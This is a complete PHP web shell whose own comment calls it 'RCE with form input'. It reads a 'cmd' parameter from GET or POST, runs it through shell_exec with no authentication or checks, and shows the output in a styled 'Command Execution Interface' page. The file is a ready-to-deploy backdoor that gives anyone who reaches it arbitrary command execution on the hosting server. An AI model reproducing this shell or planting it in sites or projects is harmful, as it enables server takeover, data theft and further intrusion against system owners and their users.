<?php
// RCE with form input supporting both GET and POST
$method = $_SERVER['REQUEST_METHOD'];
$cmd = '';
$output = '';

// Get command based on request method
if ($method === 'POST') {
    $cmd = $_POST['cmd'] ?? '';
} else {
    $cmd = $_GET['cmd'] ?? '';
}

// Execute command if not empty
if (!empty($cmd)) {
    $output = shell_exec($cmd);
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>Command Execution Interface</title>
    <style>
        body {
            font-family: "Courier New", monospace;
            background-color: #1e1e1e;
            color: #f0f0f0;
            padding: 20px;
            font-size: 18px;
            line-height: 1.6;
        }
        .container {
            max-width: 1350px;
            margin: 0 auto;
        }
        .command-form {
            margin-bottom: 25px;
            padding: 20px;
            background-color: #252526;
            border-radius: 5px;
        }
        .command-input {
            width: 80%;
            padding: 12px;
            font-size: 18px;
            font-weight: bold;
            background-color: #2d2d2d;
            color: #f0f0f0;
            border: 1px solid #569cd6;
            border-radius: 4px;
        }
        .submit-btn {
            padding: 12px 20px;
            font-size: 18px;
            font-weight: bold;
            background-color: #569cd6;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            margin-left: 10px;
        }
        .command-display {
            color: #4ec9b0;
            margin-bottom: 15px;
            font-weight: bold;
            font-size: 20px;
        }
        pre {
            background-color: #252526;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #569cd6;
            white-space: pre-wrap;
            word-wrap: break-word;
            font-weight: bold;
            font-size: 18px;
        }
        .prompt {
            color: #d4d4d4;
            font-weight: bold;
        }
        .prompt-symbol {
            color: #d7ba7d;
            font-weight: bold;
        }
        .method-tabs {
            display: flex;
            margin-bottom: 10px;
        }
        .method-tab {
            padding: 8px 15px;
            background-color: #2d2d2d;
            margin-right: 5px;
            cursor: pointer;
            border-radius: 4px 4px 0 0;
        }
        .method-tab.active {
            background-color: #569cd6;
            font-weight: bold;
        }
        .form-row {
            display: flex;
            align-items: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <form id="cmd-form" method="POST" action="" class="command-form">
            <div class="method-tabs">
                <div class="method-tab <?= $method === 'POST' ? 'active' : '' ?>" onclick="document.getElementById('cmd-form').method='POST'; this.classList.add('active'); document.querySelector('.method-tab:not(.active)').classList.remove('active');">POST</div>
                <div class="method-tab <?= $method === 'GET' ? 'active' : '' ?>" onclick="document.getElementById('cmd-form').method='GET'; this.classList.add('active'); document.querySelector('.method-tab:not(.active)').classList.remove('active');">GET</div>
            </div>
            <div class="form-row">
                <input type="text" name="cmd" class="command-input" value="<?= htmlspecialchars($cmd) ?>" 
                       placeholder="Enter command..." autofocus>
                <button type="submit" class="submit-btn">Execute</button>
            </div>
        </form>

        <?php if (!empty($cmd)): ?>
            <div class="command-display">
                <span class="prompt">$</span> 
                <span class="prompt-symbol">></span> 
                <span style="color: #ce9178; font-weight: bold;"><?= htmlspecialchars($cmd) ?></span>
            </div>
            <pre><?= htmlspecialchars($output) ?></pre>
        <?php endif; ?>
    </div>
</body>
</html>